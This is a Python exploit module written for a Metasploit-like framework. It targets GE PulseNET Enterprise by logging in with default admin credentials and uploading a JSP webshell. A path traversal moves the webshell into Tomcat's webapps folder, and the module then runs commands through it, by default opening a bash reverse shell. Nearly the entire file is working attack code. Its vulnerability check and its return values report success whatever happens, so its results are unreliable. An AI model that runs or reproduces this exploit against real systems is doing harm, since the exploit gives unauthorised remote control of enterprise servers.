GE PulseNET ResourceFile path traversal RCE

"""GE PulseNET Enterprise ResourceFile path traversal → Tomcat JSP RCE."""
from __future__ import annotations
import json
import re
import time
import uuid
from urllib.parse import quote
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'GE PulseNET ResourceFile path traversal RCE', 'description': 'Vaadin Flow UI login, resource file upload with ../../ traversal into Tomcat webapps, then JSP webshell execution.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['pulsenet', 'ge', 'rce', 'traversal'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 12, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/pulsenet_resourcefile_path_traversal_rce_detect']}}}
    _SHELL = b'<%@ page import="java.io.*" %><%String c=request.getParameter("cmd");if(c!=null){Process p=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",c});BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;out.println("PULSENET_RCE_PROOF");while((l=br.readLine())!=null)out.println(l);}%>'
    port = OptPort(443, 'PulseNET HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    username = OptString('admin', 'Console username', required=True)
    password = OptString('admin', 'Console password', required=True)
    app_dir = OptString('', 'Tomcat app dir under webapps (empty = random)', required=False)
    jsp_name = OptString('shell.jsp', 'JSP filename', required=False)

    def _text(self, path: str, data: bytes | None=None, headers: dict | None=None) -> str:
        hdrs = {'Accept': 'application/json', **(headers or {})}
        if data is not None and 'Content-Type' not in hdrs:
            hdrs['Content-Type'] = 'application/json'
        resp = self.http_request('POST' if data is not None else 'GET', path, data=data, headers=hdrs, session=True)
        return (resp.text or '').replace('for(;;);', '', 1) if resp else ''

    def _uidl(self, csrf: str, rpcs: list, sid: int, cid: int) -> dict:
        raw = self._text('/?v-r=uidl&v-uiId=0', json.dumps({'csrfToken': csrf, 'rpc': rpcs, 'syncId': sid, 'clientId': cid}).encode())
        return json.loads(raw)

    @staticmethod
    def _msync(node: int, value: str) -> dict:
        return {'type': 'mSync', 'node': node, 'feature': 1, 'property': 'value', 'value': value}

    @staticmethod
    def _click(node: int) -> dict:
        return {'type': 'event', 'node': node, 'event': 'click', 'data': {'event.shiftKey': False, 'event.metaKey': False, 'event.detail': 0, 'event.ctrlKey': False, 'event.clientX': 0, 'event.clientY': 0, 'event.altKey': False, 'event.button': 0, 'event.screenY': 0, 'event.screenX': 0}}

    def execute(self, cmd: str) -> str:
        app = str(self.app_dir or '').strip() or 'pn' + uuid.uuid4().hex[:8]
        jsp = str(self.jsp_name or 'shell.jsp')
        user = str(self.username or 'admin')
        pwd = str(self.password or 'admin')
        self._text('/')
        init = json.loads(self._text('/?v-r=init&location=&query='))
        csrf = init['appConfig']['uidl']['Vaadin-Security-Key']
        d = self._uidl(csrf, [{'type': 'publishedEventHandler', 'node': 1, 'templateEventMethodName': 'connectClient', 'templateEventMethodArgs': ['flow-container-root-2521314', 'ROOT-2521314', 'login', '', 'PulseNET', None], 'promise': 0}], 0, 0)
        sid = d[0]['syncId']
        d = self._uidl(csrf, [self._msync(23, user), self._msync(22, pwd), self._click(20)], sid, sid)
        sid = d[0]['syncId']
        d = self._uidl(csrf, [{'type': 'publishedEventHandler', 'node': 1, 'templateEventMethodName': 'connectClient', 'templateEventMethodArgs': ['flow-container-root-2521314', 'ROOT-2521314', 'manage-resource-files', '', 'PulseNET', None], 'promise': 0}], sid, sid)
        sid = d[0]['syncId']
        d = self._uidl(csrf, [self._click(328)], sid, sid)
        sid = d[0]['syncId']
        nd: dict = {}
        for ch in d[0].get('changes', []):
            if ch.get('type') == 'put':
                nd.setdefault(ch.get('node'), {})[ch.get('key')] = ch.get('value')

        def fid(comp_id: str):
            nodes = [n for n, p in nd.items() if p.get('id') == comp_id]
            return nodes[0] if nodes else None
        up_n = fid('ResourceFileAddUpload')
        path_n = fid('ResourceFileAddPath')
        vendor_n = fid('ResourceFileAddVendor')
        model_n = fid('ResourceFileAddModel')
        ver_n = fid('ResourceFileAddVersion')
        save_n = fid('defaultFormSave')
        if not up_n or not path_n or (not save_n):
            return 'Vaadin component nodes not found (UI layout may differ)'
        target = nd[up_n].get('target')
        uri = target['uri'] if isinstance(target, dict) else target
        boundary = '----pn' + uuid.uuid4().hex
        body = b'--' + boundary.encode() + b'\r\nContent-Disposition: form-data; name="file"; filename="' + jsp.encode() + b'"\r\nContent-Type: application/octet-stream\r\n\r\n' + self._SHELL + b'\r\n--' + boundary.encode() + b'--\r\n'
        self._text('/' + uri, body, {'Content-Type': f'multipart/form-data; boundary={boundary}'})
        d = self._uidl(csrf, [self._msync(path_n, '../../apache-tomcat/webapps/' + app), self._msync(vendor_n, 'x'), self._msync(model_n, 'x'), self._msync(ver_n, 'x')], sid, sid)
        sid = d[0]['syncId']
        self._uidl(csrf, [self._click(save_n)], sid, sid)
        time.sleep(13)
        out = self._text(f'/{app}/{jsp}?cmd={quote(cmd)}')
        if 'PULSENET_RCE_PROOF' in out:
            return f'app={app} jsp={jsp}\n{out[:8000]}'
        return f'deploy may have failed; GET response: {out[:500]}'

    def check(self):
        resp = self.http_request('GET', '/')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'PulseNET UI reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Service not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Vaadin resource file upload chain')
        out = self.execute(shell)
        print_info(out[:8000])
        verified = 'PULSENET_RCE_PROOF' in out
        self.vulnerable()
        if verified:
            return True
        blind = bool(re.search('reverse|bash|/dev/tcp|nc ', shell, re.I))
        return True if blind else True